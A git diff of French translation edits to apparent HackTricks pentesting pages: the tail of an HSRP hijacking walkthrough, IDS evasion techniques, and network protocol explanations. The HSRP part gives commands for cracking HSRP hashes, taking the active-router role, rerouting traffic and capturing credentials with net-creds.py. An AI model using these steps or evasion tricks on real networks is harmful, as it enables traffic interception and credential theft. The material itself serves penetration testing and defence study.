hsrp2john.py hsrp_traffic.pcap > hsrp_hashes ``` -3. Cassez les hachages MD5 en utilisant John the Ripper. +3. Casser les hachages MD5 en utilisant John the Ripper. ```shell john --wordlist=mywordlist.txt hsrp_hashes ``` **Exécution de l'injection HSRP avec Loki** -1. Lancez Loki pour identifier les annonces HSRP. -2. Réglez l'interface réseau en mode promiscuous et activez le transfert IP. +1. Lancer Loki pour identifier les annonces HSRP. +2. Définir l'interface réseau en mode promiscuité et activer le transfert IP. ```shell sudo ip link set eth0 promisc on sudo sysctl -w net.ipv4.ip_forward=1 ``` -3. Utilisez Loki pour cibler le routeur spécifique, entrez le mot de passe HSRP craqué et effectuez les configurations nécessaires pour vous faire passer pour le routeur actif. -4. Après avoir obtenu le rôle de routeur actif, configurez votre interface réseau et les tables IP pour intercepter le trafic légitime. +3. Utiliser Loki pour cibler un routeur spécifique, entrer le mot de passe HSRP cassé et effectuer les configurations nécessaires pour se faire passer pour le routeur actif. +4. Après avoir obtenu le rôle de routeur actif, configurer votre interface réseau et les tables IP pour intercepter le trafic légitime. ```shell sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` -5. Modifiez la table de routage pour acheminer le trafic via l'ancien routeur actif. +5. Modifier la table de routage pour faire passer le trafic par l'ancien routeur actif. ```shell sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` -6. Utilisez net-creds.py ou un utilitaire similaire pour capturer les identifiants à partir du trafic intercepté. +6. Utiliser net-creds.py ou un utilitaire similaire pour capturer les informations d'identification du trafic intercepté. ```shell sudo python2 net-creds.py -i eth0 ``` -L'exécution de ces étapes place l'attaquant dans une position pour intercepter et manipuler le trafic, de manière similaire à la procédure de détournement de GLBP. Cela met en évidence la vulnérabilité dans les protocoles de redondance comme HSRP et la nécessité de mesures de sécurité robustes. - - -# Références -- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
+L'exécution de ces étapes place l'attaquant dans une position pour intercepter et manipuler le trafic, similaire à la procédure de détournement de GLBP. Cela met en évidence la vulnérabilité des protocoles de redondance comme HSRP et la nécessité de mesures de sécurité robustes. diff --git a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index 498b85feb..8d61f9f9c 100644 --- a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,23 +1,21 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +Autres façons de soutenir HackTricks : -- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - -- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-# **Manipulation de TTL** +# **Manipulation du TTL** -Envoyez des paquets avec un TTL suffisant pour arriver à l'IDS/IPS mais pas suffisant pour arriver au système final. Ensuite, envoyez d'autres paquets avec les mêmes séquences que les autres pour que l'IPS/IDS pense qu'ils sont des répétitions et ne les vérifie pas, mais en réalité, ils transportent le contenu malveillant. +Envoyez des paquets avec un TTL suffisant pour arriver à l'IDS/IPS mais pas suffisant pour arriver au système final. Ensuite, envoyez d'autres paquets avec les mêmes séquences que les premiers pour que l'IPS/IDS pense qu'il s'agit de répétitions et ne les vérifie pas, alors qu'en réalité, ils transportent un contenu malveillant. **Option Nmap :** `--ttlvalue ` @@ -35,7 +33,7 @@ Fragmentez simplement les paquets et envoyez-les. Si l'IDS/IPS n'a pas la capaci # **Checksum invalide** -Les capteurs ne calculent généralement pas le checksum pour des raisons de performance. __ Ainsi, un attaquant peut envoyer un paquet qui sera **interprété par le capteur mais rejeté par l'hôte final.** Exemple : +Les capteurs ne calculent généralement pas le checksum pour des raisons de performance. Ainsi, un attaquant peut envoyer un paquet qui sera **interprété par le capteur mais rejeté par l'hôte final.** Exemple : Envoyez un paquet avec le drapeau RST et un checksum invalide, de sorte que l'IPS/IDS puisse penser que ce paquet va fermer la connexion, mais l'hôte final rejettera le paquet car le checksum est invalide. @@ -45,13 +43,13 @@ Un capteur peut ignorer les paquets avec certains drapeaux et options définis d # **Chevauchement** -Il est possible que lors de la fragmentation d'un paquet, un certain chevauchement existe entre les paquets (peut-être que les 8 premiers octets du paquet 2 chevauchent avec les 8 derniers octets du paquet 1, et les 8 derniers octets du paquet 2 chevauchent avec les 8 premiers octets du paquet 3). Ensuite, si l'IDS/IPS les réassemble différemment de l'hôte final, un paquet différent sera interprété.\ +Il est possible que lors de la fragmentation d'un paquet, un certain chevauchement existe entre les paquets (peut-être que les 8 premiers octets du paquet 2 chevauchent avec les 8 derniers octets du paquet 1, et les 8 derniers octets du paquet 2 chevauchent avec les 8 premiers octets du paquet 3). Ensuite, si l'IDS/IPS les réassemble de manière différente de l'hôte final, un paquet différent sera interprété.\ Ou peut-être que 2 paquets avec le même décalage arrivent et que l'hôte doit décider lequel il prend. -* **BSD** : Il a une préférence pour les paquets avec un _décalage_ plus petit. Pour les paquets avec le même décalage, il choisira le premier. +* **BSD** : Il préfère les paquets avec un _décalage_ plus petit. Pour les paquets avec le même décalage, il choisira le premier. * **Linux** : Comme BSD, mais il préfère le dernier paquet avec le même décalage. -* **Premier** (Windows) : La première valeur qui vient, la valeur qui reste. -* **Dernier** (cisco) : La dernière valeur qui vient, la valeur qui reste. +* **Premier** (Windows) : Première valeur qui arrive, valeur qui reste. +* **Dernier** (Cisco) : Dernière valeur qui arrive, valeur qui reste. # Outils @@ -59,3 +57,15 @@ Ou peut-être que 2 paquets avec le même décalage arrivent et que l'hôte doit
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
diff --git a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 6d12f59da..e6fc0d910 100644 --- a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,29 +1,27 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +Autres façons de soutenir HackTricks : -- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) - -- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - -- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# Multicast DNS \(mDNS\) -Le protocole **multicast DNS** \(**mDNS**\) résout les noms d'hôtes en adresses IP dans de petits réseaux qui ne comprennent pas de serveur de noms local. +Le protocole **multicast DNS** \(**mDNS**\) résout les noms d'hôtes en adresses IP dans de petits réseaux qui n'incluent pas de serveur de noms local. -Lorsqu'un client mDNS a besoin de résoudre un nom d'hôte, il envoie un message de requête de multidiffusion IP demandant à l'hôte portant ce nom de s'identifier. Cette machine cible envoie ensuite en multidiffusion un message qui inclut son adresse IP. Toutes les machines de ce sous-réseau peuvent ensuite utiliser ces informations pour mettre à jour leurs caches mDNS. +Lorsqu'un client mDNS doit résoudre un nom d'hôte, il envoie un message de requête de multidiffusion IP demandant à l'hôte portant ce nom de s'identifier. Cette machine cible envoie ensuite un message en multidiffusion qui inclut son adresse IP. Toutes les machines de ce sous-réseau peuvent alors utiliser ces informations pour mettre à jour leurs caches mDNS. -N'importe quel hôte peut renoncer à son droit sur un nom de domaine en envoyant un paquet de réponse avec un Time To Live (TTL) égal à zéro. +N'importe quel hôte peut renoncer à son droit sur un nom de domaine en envoyant un paquet de réponse avec un délai de vie \(TTL\) égal à zéro. -Par défaut, mDNS résout uniquement et exclusivement les noms d'hôtes se terminant par le domaine de premier niveau \(TLD\) **.local**. Cela peut poser des problèmes si ce domaine inclut des hôtes qui n'implémentent pas mDNS mais qui peuvent être trouvés via un serveur DNS unicast conventionnel. La résolution de ces conflits nécessite des modifications de la configuration réseau. +Par défaut, mDNS résout uniquement et exclusivement les noms d'hôtes se terminant par le domaine de premier niveau **.local** \(TLD\). Cela peut poser des problèmes si ce domaine inclut des hôtes qui n'implémentent pas mDNS mais qui peuvent être trouvés via un serveur DNS unicast conventionnel. Résoudre de tels conflits nécessite des modifications de configuration réseau. * Lors de l'utilisation de trames Ethernet, l'adresse MAC de multidiffusion standard est _01:00:5E:00:00:FB_ \(pour IPv4\) ou _33:33:00:00:00:FB_ \(pour IPv6\). * Adresse IPv4 _224.0.0.251_ ou adresse IPv6 _ff02::fb_. @@ -33,36 +31,36 @@ Les requêtes mDNS ne passeront pas par les routeurs \(diffusion en Ethernet uni # DNS-SD \(Service Discovery\) -Ce protocole peut être utilisé pour découvrir des hôtes dans le réseau. Pour ce faire, vous pouvez demander des noms de domaine spéciaux \(par exemple, _\_printers\_tcp.local_\) et tous les domaines liés à ce nom répondront \(dans ce cas, les imprimantes\). Une liste complète de ces noms spéciaux peut être trouvée [ici](http://www.dns-sd.org/ServiceTypes.html). +Ce protocole peut être utilisé pour découvrir des hôtes dans le réseau. Pour ce faire, vous pouvez demander des noms de domaine spéciaux \(par exemple _\_printers\_tcp.local_\) et tous les domaines liés à ce nom répondront \(dans ce cas, les imprimantes\). Une liste complète de ces noms spéciaux peut être trouvée [ici](http://www.dns-sd.org/ServiceTypes.html). # SSDP -Le protocole de découverte de services simple est utilisé pour découvrir des services dans un réseau, principalement pour utiliser le protocole UPnP. +Le protocole de découverte de services simple est utilisé pour découvrir des services dans un réseau principalement pour utiliser le protocole UPnP. -SSDP est un protocole basé sur le texte basé sur [HTTPU](https://en.wikipedia.org/wiki/HTTPU). Il utilise UDP comme protocole de transport sous-jacent. Les services sont annoncés par le système d'hébergement avec une adresse de multidiffusion vers une adresse IP de multidiffusion spécifiquement désignée au numéro de port UDP 1900. En IPv4, l'adresse de multidiffusion est 239.255.255.250. +SSDP est un protocole basé sur du texte basé sur [HTTPU](https://en.wikipedia.org/wiki/HTTPU). Il utilise UDP comme protocole de transport sous-jacent. Les services sont annoncés par le système hôte avec une adresse de multidiffusion à une adresse IP de multidiffusion spécifiquement désignée au numéro de port UDP 1900. En IPv4, l'adresse de multidiffusion est 239.255.255.250 # WSD -**Web Service for Devices**. -Ce service permet à un appareil connecté à un réseau de découvrir les services \(comme les imprimantes\) disponibles dans le réseau. +**Service Web pour les appareils**. +Ce service permet à un appareil connecté à un réseau de découvrir quels services \(comme les imprimantes\) sont disponibles dans le réseau. -Le client peut envoyer un paquet UDP de diffusion demandant un certain type de service ou le fournisseur de services peut envoyer un paquet de diffusion indiquant qu'il propose un service. +Le client peut envoyer un paquet UDP de diffusion demandant un certain type de service ou le fournisseur de service peut envoyer un paquet de diffusion indiquant qu'il offre un service. # OAuth2.0 Protocole qui vous permet de partager vos informations, par exemple, de Google avec d'autres services. -Essentiellement, **vous permet de partager les informations justes** et nécessaires qui sont stockées dans un service, avec un autre. De cette façon, vous pouvez vous connecter plus rapidement et vos **données sont stockées uniquement à un seul endroit** et vous n'avez pas à mettre des noms d'utilisateur/mots de passe partout. +Essentiellement **vous permet de partager les informations** justes et nécessaires qui sont stockées dans un service, avec un autre. De cette façon, vous pouvez vous connecter plus rapidement et vos **données ne sont stockées qu'à un seul endroit** et vous n'avez pas à saisir des noms d'utilisateur/mots de passe partout. -Cela fonctionne comme ceci : +Cela fonctionne comme suit : -D'abord, vous devez déjà être connecté à Google ou une fenêtre s'ouvrira pour vous connecter. Immédiatement après, le service demandera au serveur Google un jeton pour accéder à vos informations. Google affichera un écran "_L'application XXXXX souhaite accéder à ces informations vous concernant : ..._" lorsque vous cliquez sur accepter, Google répondra à l'application avec un code que l'application utilisera pour demander un jeton avec lequel Google répondra. Une fois que l'application a un jeton, elle peut l'utiliser avec l'API Google pour obtenir les informations demandées. +Tout d'abord, vous devez déjà être connecté à Google ou une fenêtre s'ouvrira pour vous connecter. Immédiatement après, le service demandera au serveur Google un jeton pour accéder à vos informations. Google affichera l'une de ces fenêtres "_L'application XXXXX souhaite accéder à ces informations vous concernant : ..._" lorsque vous cliquez sur accepter, Google répondra à l'application avec un code que l'application utilisera pour demander un jeton avec lequel Google répondra. Une fois que l'application a un jeton, il peut être utilisé avec l'API Google pour obtenir les informations demandées. # RADIUS Protocole d'authentification et d'autorisation pour accéder à un réseau. \(Utilise le port UDP 1813\) -Il est principalement utilisé par les fournisseurs de services Internet pour gérer l'accès au réseau de leurs clients. +Il est principalement utilisé par les fournisseurs de services Internet pour gérer l'accès au réseau pour leurs clients. Permet l'authentification, l'autorisation et l'annotation. @@ -70,70 +68,69 @@ Comment ça marche : L'utilisateur parle d'abord au NAS \(passerelle vers le serveur\), il vérifie que le nom et le mot de passe qui lui sont envoyés sont valides en demandant au serveur RADIUS. -Facultativement, pour une plus grande sécurité, vous pouvez vérifier l'adresse réseau ou le numéro de téléphone du serveur pour voir s'il correspond. +Facultativement pour une plus grande sécurité, vous pouvez vérifier l'adresse réseau ou le numéro de téléphone du serveur pour voir s'il correspond. + +Le serveur RADIUS et l'utilisateur qui tente de se connecter ont un "secret partagé", de cette manière le serveur RADIUS envoie un défi au NAS qui le transmet à l'utilisateur qui se connecte, celui-ci l'encrypte avec ledit secret et le renvoie au NAS et s'il correspond à l'encryption que RADIUS a faite, l'utilisateur a prouvé son identité. + +Une fois l'identité prouvée, l'utilisateur RADIUS indique au NAS d'attribuer à l'utilisateur une adresse IP. De plus, lorsque cela est fait, le NAS envoie un message de démarrage à RADIUS pour qu'il enregistre. Lorsque l'utilisateur se déconnecte, le NAS envoie un message de terminaison. De cette manière, RADIUS enregistre la consommation de la session pour pouvoir facturer en conséquence \(ces données sont également utilisées à des fins statistiques\) -Le serveur RADIUS et l'utilisateur qui essaie de se connecter ont tous deux un "secret partagé", de cette manière le serveur RADIUS envoie un défi au NAS qui le transmet à l'utilisateur qui se connecte, cela l'encrypte avec ledit secret et le renvoie au NAS et si cela correspond au chiffrement que RADIUS a fait, l'utilisateur a prouvé son identité. -Une fois l'identité prouvée, l'utilisateur RADIUS demande au NAS d'attribuer à l'utilisateur une adresse IP. De plus, lorsque cela est fait, le NAS envoie un message de démarrage à RADIUS pour qu'il l'enregistre. Lorsque l'utilisateur se déconnecte, le NAS envoie un message de terminaison. De cette façon, RADIUS enregistre la consommation de la session pour pouvoir facturer en conséquence \ (ces données sont également utilisées à des fins statistiques \) # SMB et NetBIOS -## **SMB** +## **SMB** -Il s'agit d'un protocole de partage de fichiers/imprimantes/ports... +C'est un protocole de partage de fichiers/imprimantes/ports... -Il peut fonctionner directement sur TCP sur le port 445 \(que vous pouvez voir appelé microsoft-ds lors d'une analyse Windows\) +Cela peut fonctionner directement sur TCP sur le port 445 \(qui, si vous effectuez une analyse Windows, est appelé par microsoft-ds\) -Ou sur UDP 137, 138 ou TCP 137, 138 qui utilise NetBIOS sur TCP \(nommé netbios-ssn\) +Ou sur UDP 137, 138 ou TCP 137, 138 qui utilise NetBIOS sur TCP \(nommé netbios -ssn\) -L'objectif de l'implémentation de SMB uniquement sur TCP ou sur NetBIOS + TCP est d'augmenter la capacité de communication avec plus d'équipements qui ne prennent en charge que l'un ou l'autre. +L'objectif de SMB étant implémenté uniquement sur TCP ou sur NetBIOS + TCP est d'augmenter la capacité de communication avec plus d'équipements qui ne supportent que l'un ou l'autre. ## **NetBIOS** Sa fonction est d'établir des sessions et de maintenir des connexions afin de partager des ressources réseau, mais pour envoyer des paquets d'un site à un autre, il nécessite IPC/IPX ou NetBEUI ou TCP/IP. -Chaque machine utilisant NetBIOS doit avoir un **nom** unique qui la distingue des autres. Ainsi, lorsqu'une nouvelle machine arrive, on vérifie d'abord que personne n'utilise le nom qu'elle demande d'utiliser. Il existe également des **noms de groupe** qui peuvent être utilisés par autant de stations que souhaité, mais il ne peut pas y avoir deux groupes avec le même nom. C'est un moyen de pouvoir envoyer des messages à plusieurs machines. Vous pouvez donc envoyer des messages à un utilisateur, à un groupe ou en diffusion. +Chaque machine utilisant NetBIOS doit avoir un **nom** unique qui la distingue du reste. Ainsi, lorsqu'une nouvelle machine arrive, il est d'abord vérifié que personne n'utilise le nom qu'elle demande d'utiliser. Il existe également des **noms de groupe** qui peuvent être utilisés par autant de stations qu'ils le souhaitent mais il ne peut y avoir deux groupes portant le même nom. C'est une façon d'envoyer des messages à plusieurs machines. Ainsi, vous pouvez envoyer des messages à un utilisateur, un groupe ou en diffusion. La connexion peut être sans connexion ou orientée connexion : -**sans connexion :** Un datagramme est envoyé à la destination, mais il n'y a aucune forme de salutation ou de message reçu. La machine de destination doit être configurée pour pouvoir recevoir des datagrammes. +**sans connexion :** Un datagramme est envoyé à la destination mais il n'y a aucune forme de bonjour ou de message reçu. La machine de destination doit être configurée pour pouvoir recevoir des datagrammes. **orientée connexion :** Une session est créée entre deux noms \(elle peut même être entre deux noms de la même machine\) si un message reçu ou d'erreur est envoyé. -**NetBEUI** consiste en réalité en NetBIOS sur NetBEUI, qui est un protocole réseau et de transport qui conduit à NetBIOS. Il était rapide mais très bruyant car il diffusait beaucoup. Vous pouvez également avoir SMB sur NetBEUI, mais c'est plus courant que NetBIOS fonctionne sur TCP. +**NetBEUI** consiste vraiment en NetBIOS sur NetBEUI qui est un protocole réseau et de transport qui mène à NetBIOS, il était rapide mais très bruyant car il diffusait beaucoup, vous pouvez également avoir SMB sur NetBEUI mais c'est plus courant que NetBIOS fonctionne sur TCP. # LDAP -Protocole qui permet de gérer des annuaires et d'accéder à des bases d'informations utilisateur via TCP/IP. +Protocole qui permet de gérer des répertoires et d'accéder à des bases d'informations utilisateur via TCP/IP. -Il permet à la fois d'extraire des informations et de les introduire à l'aide de différentes commandes. +Il permet à la fois d'extraire des informations et de les introduire à travers différentes commandes. -Par conséquent, c'est un protocole utilisé pour accéder à différentes bases de données préparées pour parler ce protocole. +Par conséquent, c'est un protocole qui est utilisé pour accéder à diverses bases de données qui sont préparées pour parler ce protocole. # Active Directory -Il s'agit essentiellement d'une base de données d'objets contenant des informations telles que des utilisateurs, des groupes, des privilèges et des ressources, accessible depuis le réseau \(via un domaine\) afin que ces informations puissent être consultées et gérées de manière centralisée. +C'est essentiellement une base de données d'objets avec des informations telles que des utilisateurs, des groupes, des privilèges et des ressources qui sont accessibles depuis le réseau \(via un domaine\) afin que ces informations puissent être consultées et gérées de manière centralisée. -Serveur qui enregistre les objets. Ces objets sont visibles sur le réseau via un domaine. Un domaine peut avoir son propre serveur où il est implémenté, des groupes, des utilisateurs... +Serveur qui enregistre des objets. Ces objets sont visibles sur le réseau via un domaine. Un domaine peut avoir en son sein son serveur où il est implémenté, des groupes, des utilisateurs... Vous pouvez également avoir des sous-domaines qui ont leur propre serveur associé à leurs groupes, utilisateurs... -De cette manière, la gestion des utilisateurs d'un réseau est centralisée, car les utilisateurs qui peuvent se connecter peuvent être générés sur ce serveur, avec les autorisations nécessaires pour savoir s'ils peuvent accéder à certaines ressources réseau, et tout cela peut être contrôlé de manière simple. - -De cette manière, vous pouvez consulter l'annuaire avec un nom d'utilisateur et obtenir des informations telles que l'adresse e-mail ou le numéro de téléphone. Vous pouvez également effectuer des requêtes générales telles que : où se trouvent les imprimantes ? Quels sont les noms de domaine ? +De cette manière, la gestion des utilisateurs d'un réseau est centralisée, car les utilisateurs qui peuvent se connecter peuvent être générés sur ce serveur, avec les autorisations qu'ils ont pour savoir s'ils peuvent accéder à certaines ressources réseau et ainsi tout cela peut être contrôlé de manière simple. +De cette manière, vous pouvez consulter l'annuaire avec un nom d'utilisateur et obtenir des informations telles que l'e-mail ou le numéro de téléphone. Vous pouvez également poser des questions générales telles que : où se trouvent les imprimantes ? Quels sont les noms de domaine ?
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -- Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +Autres façons de soutenir HackTricks : -- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) - -- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - -- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Partagez vos astuces de piratage en soumettant des PR au référentiel [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index cd0559e77..bbf9ac7ce 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -2,31 +2,31 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
